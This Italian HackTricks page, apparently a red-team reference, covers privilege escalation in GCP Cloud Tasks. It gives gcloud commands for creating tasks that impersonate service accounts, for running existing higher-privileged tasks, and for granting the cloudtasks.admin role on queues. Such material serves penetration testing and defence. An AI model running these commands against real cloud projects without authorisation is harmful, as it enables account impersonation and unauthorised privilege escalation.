GCP - Cloud Tasks Privesc

Reading time: 3 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

Un attaccante con questi permessi può impersonare altri account di servizio creando attività che vengono eseguite con l'identità dell'account di servizio specificato. Questo consente di inviare richieste HTTP autenticate ai servizi Cloud Run o Cloud Functions protetti da IAM.

bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com

cloudtasks.tasks.run, cloudtasks.tasks.list

Un attaccante con questi permessi può eseguire attività programmate esistenti senza avere permessi sull'account di servizio associato all'attività. Questo consente di eseguire attività che sono state precedentemente create con account di servizio con privilegi più elevati.

bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>

Il principale che esegue questo comando non ha bisogno del permesso iam.serviceAccounts.actAs sull'account di servizio del task. Tuttavia, questo consente solo di eseguire task esistenti - non concede la possibilità di creare o modificare task.

cloudtasks.queues.setIamPolicy

Un attaccante con questo permesso può assegnare a se stesso o ad altri principali ruoli di Cloud Tasks su code specifiche, potenzialmente elevandosi a roles/cloudtasks.admin che include la possibilità di creare ed eseguire task.

bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin

Questo consente all'attaccante di concedere permessi di amministratore completi di Cloud Tasks sulla coda a qualsiasi account di servizio che controllano.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks